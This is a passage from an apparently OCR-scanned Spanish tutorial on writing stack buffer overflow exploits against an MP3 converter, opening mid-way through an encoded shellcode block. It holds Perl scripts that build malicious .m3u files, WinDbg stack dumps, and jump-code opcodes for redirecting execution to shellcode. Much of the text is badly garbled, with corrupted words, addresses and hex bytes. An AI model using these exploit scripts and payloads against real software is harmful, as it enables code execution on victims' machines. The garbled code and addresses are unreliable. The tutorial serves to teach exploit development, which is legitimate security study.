"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" .
"\x48\x50\x44\x43\x30\x43\x30\x45\x50\x4c\x4b\x47\x35\x47" .
"\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x47\x50\x43\x31\x4a" .
"\x4b\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50" .
"\x31\x49\x50\x4c\x59\x4e\x4c\x4c\x44\x49\x50\x43\x44\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a\x4b\x4a" .
"\x54\x47\x4b\x51\x44\x46\x44\x43\x34\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x51\x34\x45\x51\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x47" .
"\x54\x43\x34\x48\x43\x51\x4f\x46\x51\x4b\x46\x43\x50\x50" .
"\x56\x45\x34\x4c\x4b\x47\x36\x50\x30\x4c\x4b\x51\x50\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\Xx31\x42\x4c\x42\x43\x45\x50\x41\x41";

open($FILE,">$file");

print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);

print "Archivo m3u creado con exito\n";
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73000000 73026000 C: \WINDOWS s: VStEJnEZ\WINSFOOL DRV

O 02240000 02250000 C P Dgram F E: o MP3 Converter~MSRHfi lLerEIZ 3
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ModL R =S St e 2 rasuan dl1
ModL ZiEixd NETAPI3Z.d11
ModL Edit Wiew Help TAPI32 .dll
HodL tutils dll
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ModL Backspace CE [ ste: lpapi dll
o ste ock .dl
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. or corrupt data
sible paged-out or corrupt data
l ded F32 dll>+[| f(7bf
900£E7d0 e lods  byte ptr [esil] d=:0023:c644d12e=77

iBaam! De Nuevo.
Jmp[Reg]+[Offset]

Otra técnica para superar el problema de que lhcBtle comience en un
Offset de un registro (ESP en nuestro ejemployaartde encontrar una
instruccion Jmp[Reg]+[Offset] y sobrescribir EIPncta direccion de esa
instruccion. Imaginemos que necesitamos saltar t8sbge nuevo (ver
ejercicio anterior). Usando la técnica Jmp[Reg]¥$et], simplemente

saltariamos los 8 bytes al principio de ESP y amiamos directamente
en nuestra Shellcode.

Necesitamos hacer 3 cosas:

* Encontrar el Opcode para el IMP ESP+8h.
« Encontrar una direccidn que apunta a esta instracci
» Hacer el exploit para que sobrescriba EIP condistacion.

Encontrar el Opcode: usa Windbg:

0:014> a
7c90120e jmp [esp + 8]

jmp [esp + 8]
7¢901212

0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e 1642408 Jjmp dword ptr [esp+8]

El Opcode es ff642408.

Ahora, puedes buscar una DLL que tenga este Opcada la direccion
para sobrescribir EIP con la misma. En nuestro g@@nno pudimos
encontrar este Opcode exacto. Por supuesto, ne ksifado a buscar
JMP[ESP+8]. También podrias buscar valores maygues8 porque tu
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controlas todo mayor a 8. Facilmente, podrias paigunos NOP’s
adicionales al principio de la Shellcode y hacsdlar ellos.

(De paso, el Opcode para el RET es C3, pero estpyrs que ya te diste
cuesta)

Retorno Ciego:
Esta técnica esta basada en los siguientes pasos:

» Sobrescribir EIP con una direccién que apunte RE.

« Hardcodear (fijar) la direcciéon de la Shellcode les primeros 4
bytes de ESP:

« Cuando el RET se ejecute, los ultimos 4 bytes agieg) (el valor
superior) son POPeados del Stack y puestos en EIP.

» El exploit salta a la Shellcode.

Esta técnica es util si:

* No puedes apuntar a EIP para ir a un registro tdingente porque no
puedes usar JMP o CALL. Esto quiere decir que Itases
hardcodear la direccion de memoria de inicio dehallcode, pero...

* Tu puedes controlar los datos en ESP. Por lo méoeqrimeros 4
bytes.

Para configurar esto, necesitas tener la direcdénmemoria de la
Shellcode (= la direccion de ESP). Como siempetatde evitar que esto
tenga/empiece con caracteres NULL. De lo contramopodras cargar tu
Shellcode detras de EIP. Si tu Shellcode se puedergen un lugar y esta
direccién no contiene un byte NULL, entonces ésidria ser otra técnica
funcional.

Encuentra la direccion de un RET en un de las DLMiga los primeros 4
bytes de la Shellcode (primeros 4 de ESP) hacidireccion donde
comienza la Shellcode y sobrescribe EIP con lacdida del RET. De las
pruebas que hemos hecho en el tutorial 1, recorslgue ESP parece estar
en 0x000ff730. Por supuesto, esta direccion pochiabiar en sistemas
diferentes, pero si no tienes otra forma sino haddar las direcciones,
entonces esto es lo Unico que puedes hacer.

Esta direcciéon contiene bytes NULL, entonces cuacaolostruyamos el
Payload, construiremos un buffer parecido a este:
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[26094 A's][Direccién del RET][0x000fff730][shellctz]

El problema con este ejemplo es que la direcci@aipara sobrescribir
EIP tiene un byte NULL. (Un terminador de stringhtonces la Shellcode
no es puesta en ESP. Este es un problema, pereb® s#r tan grave.
Algunas veces, puedes encontrar tu buffer (mirgiaseras 26094 A'’s, no
las primeras que son PUSHeadas después de sdhireSt?i porque seran
inservibles a causa del byte NULL) en otros lugaegsstros, tales como:
eax, ebx, ecx, etc. En ese caso, podrias tratpowler la direccién de ese
registro como los primeros 4 bytes de la Shello@denicio de ESP, asi
directamente después de sobrescribir EIP) y hastescribir EIP con la
direccién de un RET.

Esta es una técnica que tiene muchos requisitossyedtajas, pero solo
necesita un RET. De todos modos, no funcion6 ey E&sto MP3.

Tratando con Buffers Pequefios: Saltando a dondemeaddigo de salto
custom.

Hemos hablamos de varios para hacer que EIP saltestra Shellcode. En
todos los escenarios. Nos hemos dado el lujo dergmmher esta Shellcode
en una parte del buffer. Pero, ¢ qué tal si no teeesuficiente espacio para
alojar la Shellcode completa?

En nuestro ejercicio, hemos usado 26094 bytes galveescribir EIP y
hemos notado que ESP apunta a 26094+4 bytes yegaaos suficiente
espacio a partir de alli. Pero, ¢qué tal si soétamos 50 bytes?
(ESP -> ESP+50 bytes). ¢ Qué tal si nuestras pruabastran que todo lo
que se escribié después de eso 50 byte no sirGid®¥/tes para alojar la
Shellcode no es mucho. Asi que, necesitamos buacirma. Quizas,
podemos usar 26094 bytes que fueron usados parduqoroel
desbordamiento actual.

Primero, necesitamos encontrar esos 26094 byteseemoria. Si no los
podemos encontrar, sera dificil reverenciarlos. i@eho, si podemos
encontrar estos bytes y ver que tenemos otrostn@gigpuntando (a casi
apuntando) a esto bytes, puede que sea muy faur pmiestra Shellcode
alli. Si haces algunas pruebas basicas en EasyoRMIPB, notaras que
partes de 1086094 bytes también son visibles en el Dump de ESP.
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my $file= "testl.m3u";

my $junk= "A" x 26094;

my $eip = "BBBB";

my $preshellcode = "X" x 54; #let's pretend this is the only space we have
available

my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's
from other data

open($FILE,">$file");

print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);

print "Archivo m3u creado con exito\n";

Después de abrir el archivo testl.m3u, tenemos esto

€ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce® edi=000O6715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
€s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000206
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

<Unloaded _P32.d11>+0x42424231:

42424242 ?? 2

0:000> d esp

000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX..............
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d

000ff7bo 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7do 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7e@ 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
00011800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
00011810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
00011820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d

00011830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
00011840 90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41 ......... AAAAAAA
00011850 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00011860 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00011870 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00011880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00011890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Podemos ver nuestras 50 X's en ESP. Pretendamogsgeiees Unico
espacio disponible para la Shellcode (pensamos)efibargo, miramos
mas abajo del Stack, podemos ver A’s comenzandde dasdireccion
000ff849 (=ESP+281).
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Cuando miramos otros registros, no vemos rastroX'deo A’s (puedes
Dumpear los registros o buscar un nimero de Areamoria).

Eso es todo. Podemos saltar a ESP para ejecutan algdigo, pero
tenemos 50 bytes para gastar en la Shellcode. €anv@mos partes de
nuestro buffer en una posicibn mas baja en el Staekhecho, cuando
continuamos Dumpiando los contenidos de ESP, temamogran buffer
lleno de A’s.

Command - Pid 3036 - WinDbg:6.11.0001.404 X86

QOD££7£0 90 90 90 90 90 90 90 90-90 90 90 90 20 90 90 90 ... ...... . 0 0.c...
DooOf£800 90 90 90 90 90 90 90 90-%0 90 90 90 %0 90 90 390 R SO
Qoo0f£810 90 90 90 S0 50 90 90 90-30 90 90 90 %0 90 S0 30
30353823 90 90 20 90 90 90 50 90-30 90 90 90 90 90 %S0 90
. >
OO0DEER30 90 90 90 90 90 90 90 90-%0 90 90 90 90 90 90 90 ... ...........
DOOf£840 90 30 90 90 S0 90 90 230-00 41 41 41 41 41 41 41 .. .. ... AAAAJAD
DOO££850 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMARAAARARAAALL
DODEEBED 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAALL
DODEEBT0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ARAAAAARARAAAAAAL
DOOEE280 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 RAAAAAAARAAAAAAL
DODE£890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMAAARARAAARALL
gﬂgagﬂag 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMAAARARAAAAAAL
. >
DODE£8B0 41 41 41 41 41 41 41 4£1-41 41 41 41 41 41 41 41 AAAAAAAARALAARAAL
DOOE£8:=0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 RAMAAAMADAAAAALL
DOOfEBA0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAARAAAAALAL
DODEEB=0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ARAAAAARAAAAAAAAL
DODEEBSED 41 41 41 41 41 41 41 4£1-41 41 41 41 41 41 41 41 AAAAAAAARAAAARGL
OOO££900 41 41 41 41 41 41 41 £1-41 41 41 41 41 41 41 41 AAMRAARAARALARALL
DOOEE910 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMAAMAARAAARARAL
35355923 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  RAAAAAAARLAAAAAR
: »
DOOF£930 41 41 41 41 41 41 41 4£1-41 41 41 41 41 41 41 41 AAAAARALRAMAAMALL
DODEE940 41 41 41 41 41 41 41 4£1-41 41 41 41 41 41 41 41 RAMAAAAARAAARAAL
DODEESS0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AALAAAAAAAAAALAL
DODEEIE0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAARARAAAAAAR
DOOEES70 41 41 41 41 41 41 41 4£1-41 41 41 41 41 41 41 41 AARAARAARALAARAL
DOOEE£980 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAARLARARARRLL
CODEE990 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAALL
gﬂgaggag 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAARARAADAAAL
; >
OOOf£9bL0 41 41 41 41 41 41 41 4£1-41 41 41 41 41 41 41 41 AAMAARAARARAAALL
DOOf£9=0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAARAAARARL
DODEESAD 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAARARAAAAAAL
DODEE9=0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMAARAARALARALL
OOOF£9f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ARAMAAARARAAAAAAL
DOD££a00 41 41 41 41 41 41 41 4£1-41 41 41 41 41 41 41 41 ARAMAAAAAAARAARAL
D00f£al0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AdbAAAAAAAAAARLL
gﬂgaaazg 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ARAAAAARAAMAAAAAAL
. >
DO0f£a30 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAARAARARAAARL
DODEfad0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AMAAAARAAAAAAAAL
DODffaS0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ARAAAAARARAAAAAAL
DO00ffac0 41 41 41 41 41 41 41 4£1-41 41 41 41 41 41 41 41 RAMAAAAARAAMAALL
DODEEA70 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMAARAARARARALL
DO0fEa80 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 ARAMAAARARAAARAAL
DODEEaS0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAARAAAAMAL
D00f£aa0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMAARAARALARAAL
0:000: d
DODfEabD 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMAAARARALARAAL
DODffacO 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAARAAAAAALL
DODffadDd 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AMAAAARARAAAARAL
D00ffas0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMAARAARARAARAAL
OO0ffaf0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMAARARARARAARLL
DOOEELOD 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAARLL
DODEEDLLD 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 RAAAAARARAAAAAAL
DODEEBZ20 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAMARAAAMALAARALL
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Afortunadamente, hay una forma de alojar nuestedl@hle en las A's y
usar las X’'s para saltar a las A’s. Para hacer estesitamos un par de
cosas:

» La posicion dentro del buffer con las 26094 A’s @iera es parte
de ESP en 000ff849. ¢ Dénde comienzan realment€ s$anostradas
en ESP? Si queremos poner nuestra Shellcode deattas A’s,
necesitamos saber donde ponerla exactamente.

e JumpCode o Cddigo de Salto: codigo que hara e daltlas X's a
las A’s. Este codigo no puede ser mayor a 50 lpdegue eso es
todo lo que tenemos disponible directamente en HRRlemos
encontrar la posicidbn exacta usando conjeturaspdasgatrones
custom o patrones de Metasploit. Usaremos uno si@dtrones de
Metasploit. Comenzaremos con uno pequefio. Si estémscando
al inicio de las A’s, no tendriamos que trabajar woa gran cantidad
de patrones de caracter€s.

Genera un patron de, digamos, 1000 caracteres wptaea los
primeros 1000 caracteres en el script de Perl ¢opawon y luego
agrega 25101 A's.

my $file= "testl.m3u";

my $pattern = "AadAalAa2Aa3AadAa....g8Bg9BhoBh1Bh2B";

my $junk= "A" x 25101;

my $eip = "BBBB";

my $preshellcode = "X" x 54; #let's pretend this is the only space we have
available at ESP

my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's
from other data in the ESP dump

open($FILE,">$file");

print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);

print "Archivo m3u creado con exito\n";

Vista en Windbg:

€ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce® edi=000O6715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
€s=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000206
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

<Unloaded _P32.d11>+0x42424231:

42424242 ?? 2

0:000> d esp

000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58  XXXXXXXXXXXXXXXX
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000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 990 XX..............
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff7a@ 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
0:000> d

000ff7b0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff7c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff7d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff7e@ 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
0001820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
0:000> d

0001830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff840 90 90 90 90 90 90 90 90-00 35 41 69 36 41 69 37 ......... 5Ai6Ai7
000850 41 69 38 41 69 39 41 6a-30 41 6a 31 41 6a 32 41 Ai8AiSAjOAj1Aj2A
000ff860 6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a j3Aj4Aj5Aj6Aj7A]
000ff870 38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33 8Aj9AkOAKk1Ak2AK3
0001880 41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41 Ak4AkS5AK6AK7AKSA
000ff890 6b 39 41 6¢c 30 41 6¢C 31-41 6C 32 41 6C 33 41 6¢c k9AIGA11A12A13Al1
000ff8a0@ 34 41 6¢ 35 41 6C 36 41-6¢ 37 41 6¢C 38 41 6C 39 4A15A16A17A18A19

Lo que vemos en 000ff849 es definitivamente pagtgdtron.

90 30 90 90 20 90-90 20 20 90 20 20 90 0 ...
90 90 90 90 90 90-90 90 90 90 90 90 90 Q0 ...

90 90 90 90 20 90-90 90 90 90 90 0 90 0 ... L.
90 90 90 90 90 90-00 [ Eameds 41 69 37 L. CAIGALY
38 41 69 39 41 6a-30 41 6a 31 41 6Ga 32 41 Ai1GAI9A470A71472A
41 6a 34 41 Ga 35-41 ba 36 41 6a 37 41 Ga  J3AJ4A7GAJ6AJTA;
Ea 39 41 &b 30 41-6b 31 41 &b 32 41 &b 33  8A79A4kO0OAKIALZALZ
34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41 Ak4ALSAkGAKTALSA
41 6c 30 41 Gz 21-41 6o 32 41 6o 33 41 6 L9AIOAIIALZALIZAL
bc 35 41 6o 36 41-6c 37 41 6o 38 41 6o 39 4A15A16A1T7ALGALY
ig

41 69 36 41 69 37-41 69 38 41 69 39 41 6a  GAIGAITAIBAIOA]
fa 31 41 6a 32 41-6a 33 41 6Ga 34 41 6a 35 0Aj1A472A33A474A55
36 41 6a 37 41 6a-38 41 62 39 41 &b 30 41 Aj6AJ7Aj8A79ALOA
41 &b 32 41 &b 33-41 &b 34 41 &b 35 41 6b Lk1AkZAL3AL4AKGAL
Eb 37 41 6b 358 41-6b 39 41 6o 30 41 6c 31 GAKVALSAKOAIOALL
32 41 6 33 41 6c-34 41 6c 36 41 Ao 36 41 A1ZAIZAI4AIGALGA
41 6c 38 41 6o 39-41 6d 30 41 6d 31 41 6d 17A18A19Am0AmlAn
bd 33 41 6d 34 41-6d 35 41 6d 36 41 &6d 37 ZinIdAndAmSAmeoAn?

Usando la herramienta pattern_offset de Metasgodemos ver que estos
4 caracteres estan en el Offset 257. En vez der @6@94 A’s en el
archivo, pondremos 257 A’s, luego nuestra Shellcddiena el resto de
los 26094 caracteres con A’s de nuevo. O mejoy @menzaremos con
250 A’s, luego 50 NOP’s, después nuestra Shellcpdel resto lo
llenaremos con A’s. De esa forma, no tendremossquenuy especificos
cuando saltemos. Si podemos aterrizar en los NQRiGpnara bien.
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Veamos como quedan el script y el Stack cuandonhasesto:

my $file= "testl.m3u";
my $buffersize = 26094;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

my $restofbuffer = "A" x ($buffersize-
(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";

my $preshellcode = "X" x 54; #let's pretend this is the only space we have
available

my $nop2 = "\x90" x 230; #added some nops to visually separate our 54 X's
from other data

my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");

print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE);

print "Archivo m3u creado con exito\n";

Cuando la aplicacion muere, podemos ver nuestbsNOP’s,
comenzando en 000ff848 seguido de la ShellcodeO(Oz@ 000ff874), y
luego de nuevo seguido por las A’s. Se ve bien.

(188.c98): Access violation - code c0000005 (!!! second chance !!1!)
€ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce@ edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000206
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.d11>+0x42424231:

42424242 ?? ?P?

0:000> d esp

000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX.........c00...
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .............0...
000f1780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .............0...
000ff72a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .............0...
0:000> d

000ff7b0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .............0...
000ff7cO 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .............0...
000ff7d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .............0...
000ff7e0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .............0...
00Off7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 .............0...
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000ff800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
0001810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
0001820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
0:000> d

0001830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
0001840 90 90 90 90 90 90 90 90-00 90 90 90 90 90 90 99 ................
000ff850 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000ff860 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 99 ................
000870 90 90 90 90 cc 41 41 41-41 41 41 41 41 41 41 41 ..... AAAAAAAAAAA
00011880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0001890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

La segunda cosa que necesitamos hacer es comsiesiro JumpCode que
tiene que ser colocado en ESP. El objetivo de &stgCode es saltar a
ESP+281. Escribir cddigos de salto es tan facilaescribir las sentencias
requeridas en ensamblador y luego traducirlas a@pcAsegurandonos
que no tengamos bytes NULL u otros caracteresnggtos a la vezO

Saltar a ESP+281, requeriria: sumarle 281 al tregisSP y luego saltar a
ESP. 281 + 119h. No trates sumar todo a la vgmodbdias terminar con un
Opcode que tenga bytes NULL.

Como tenemos algo de flexibilidad, debido a los NO&htes de nuestra
Shellcode, ya no tenemos que ser tan precisos p&egue sumemos 281
0 mas, funcionara. Tenemos 50 bytes para nuestnpQode. Pero no
deberia ningan problema.

Sumémosle 0x5e (94) a ESP 3 veces, luego sal&Palbs comandos en
ensamblador son:

add esp,0x5e
add esp,0x5e
add esp,0x5e
jmp esp

Usando Windbg, podemos conseguir el Opcode:

0:014> a

7¢901211 add esp,0x5e
add esp,0x5e

7¢901214 add esp,0x5e
add esp,0x5e

7¢901217 add esp,0x5e
add esp,0x5e

7c90121a jmp esp

jmp esp

7c90121c
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0:014> u 7c901211
ntdll!DbgBreakPoint+0x3:

7c901211 83c45e add esp,5Eh
7c901214 83c45e add esp,5Eh
7c901217 83c45e add esp,5Eh
7c90121a ffe4d Jjmp esp

OK. El Opcode para el JumpCode completo es:

0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xé40

my $file= "testl.m3u";
my $buffersize = 26094;

my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc"; #position 300

my $restofbuffer = "A" x ($buffersize-
(length($junk)+length($nop)+length($shellcode)));

my $eip = "BBBB";
my $preshellcode = "X" x 4;

my $jumpcode = "\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\x83\xc4\x5e" . #add esp,0x5e
"\xff\xe4"; #jmp esp

my $nop2 = "0x90" x 10; # only used to visually separate
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";

open($FILE,">$file");

print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);

print "Archivo m3u creado con exito\n";

El JumpCode esta perfectamente colocado en ESmdGuUa Shellcode
sea llamada, ESP apuntaria a los NOP’s (entre4Z0§®00ff873).

La Shellcode comienza en 000ff874.

(45c.f60): Access violation - code c0000005 (!!! second chance !!1!)
€ax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce@ edi=00006608
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
Cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 ef1=00000206
Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.

Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.d11>+0x42424231:

42424242 ?? ?P?
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0:000> d esp

000ff730 83 c4 S5e 83 c4 5e 83 c4-5e ff e4 00 01 00 00 00 .."..~..M.......
000ff740 30 f7 Oof 00 00 00 00 00-41 41 41 41 41 41 41 41 o@....... AAAAAAAA
000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
